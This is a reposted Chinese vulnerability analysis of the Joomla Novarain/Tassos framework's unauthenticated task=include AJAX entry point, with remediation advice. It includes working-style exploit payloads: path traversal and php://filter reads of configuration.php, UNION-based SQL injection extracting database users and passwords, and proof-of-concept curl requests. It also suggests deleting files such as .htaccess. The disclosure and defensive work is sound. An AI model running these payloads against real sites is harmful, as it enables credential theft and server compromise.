[业内新闻动态] [【转载】] Joomla Novarain/Tassos 框架漏洞允许 SQL 注入和未经身份验证的文件读取

结论

该漏洞组合通过未验证的AJAX入口点 task=include 实现了多链式攻击：

1. 文件读取/删除：通过滥用CSV加载类和文件删除类，攻击者可直接操作服务器文件系统（路径遍历有效）。
2. SQL注入：动态字段填充类未过滤输入参数，直接拼接数据库查询，可读取任意表数据（包括管理员会话信息）。
3. RCE路径：结合文件读取窃取管理员会话，登录后台后利用其他漏洞（如模板注入）或通过文件删除/覆盖实现代码执行。

漏洞的根源在于未对task=include入口参数进行权限校验和输入过滤，且插件级密钥未被纳入校验逻辑，导致攻击无需身份验证即可触发。

分析路径（T00ls方法论）

L1 攻击面识别

• 入口点：plg_system_nrframework插件的AJAX处理器（如index.php?option=com_ajax&plugin=...&task=include）
• sink点：
  • CSV加载类：include方法直接拼接用户提供的文件路径（include($_GET['file'])类似逻辑）
  • 文件删除类：unlink($_GET['path'])等未过滤的文件操作函数
  • 动态字段类：mysql_query("SELECT * FROM ... WHERE id=".$_GET['id'])（直接拼接id参数）

L2 假设与验证

• 假设1：task=include可调用任意实现onAjax方法的类，需验证是否包含可滥用的方法：
  • 参数：task=include&class=TargetClass&method=targetMethod
  • 响应：若返回异常/预期数据，则存在逻辑漏洞。
• 假设2：CSV加载类未过滤路径：
  • 构造payload：?option=com_ajax&task=include&class=CsvLoader&file=../../../configuration.php
  • 验证：若返回Joomla配置文件内容（含数据库密钥），则文件读取漏洞成立。
• 假设3：动态字段类存在SQL注入：
  • payload：?option=com_ajax&task=include&class=DynamicField&method=fetch&id=1%20UNION%20SELECT%201,2,3,user()%23
  • 验证：若响应包含数据库用户信息，则注入有效。

L3 边界/异常场景

• 路径遍历绕过：测试file=../configuration.php vs file=php://filter/convert.base64-encode/resource=configuration.php
• 注入payload扩展：测试id=1%20OR%201=1%20UNION%20SELECT%20concat(user(),0x3a,database())
• 文件删除攻击：尝试删除关键文件（如.htaccess）或遍历删除目录（需验证是否有限制）。

L4 防御反推与修复

• 现有防护失效点：
  • 插件密钥未校验：攻击者可直接构造task=include无需密钥。
  • 文件操作无白名单：路径可任意构造。
• 修复方向：
  1. 入口点过滤：仅允许白名单内的task和class参数，拒绝include等危险操作。
  2. 参数校验：对file/id等参数进行严格过滤（如正则限制路径为^[a-zA-Z0-9/_]+$）。
  3. 权限控制：要求task=include需管理员身份或通过CSRF验证。

验证步骤（最小PoC）

1. 文件读取验证：

   curl -v "http://target/index.php?option=com_ajax&format=raw&plugin=nrframework&task=include&class=CsvLoader&file=../../configuration.php"  

   若返回<dbname>, <dbuser>, <dbprefix>等配置信息，则漏洞存在。

2. SQL注入验证：

   curl -v "http://target/index.php?option=com_ajax&plugin=nrframework&task=include&class=DynamicField&method=fetch&id=1%20UNION%20SELECT%201,concat(user(),0x3a,password),3%20FROM%20users%20LIMIT%201--"  

   若响应包含root@localhost:...等数据，则注入成功。

3. 日志审计：
   检查服务器日志中是否存在异常请求：

   grep 'task=include' /var/log/apache/access.log | grep 'class=CsvLoader\|class=DynamicField'  

修复建议

1. 紧急措施：

   • 通过Joomla扩展管理器禁用plg_system_nrframework插件及关联的Tassos扩展（如Convert Forms等）。
   • 在Web服务器配置中屏蔽com_ajax?task=include请求：

     location ~ /index\.php\?option=com_ajax&task=include {  
         deny all;  
     }  

2. 长期修复：

   • 更新到官方发布的安全补丁版本（需确认补丁版本号）。
   • 为AJAX接口添加CSRF令牌验证和角色权限校验。
   • 对所有用户可控输入进行白名单过滤（如路径仅允许指定目录）。

3. 监控与响应：

   • 配置WAF规则拦截包含task=include且携带file/id参数的请求。
   • 定期检查未授权文件操作日志，例如通过find /var/www/html -mmin -10 -ls监控异常修改。

（注：若无法确认具体漏洞参数名，需结合目标站点源码或调试模式进一步逆向onAjax方法逻辑。）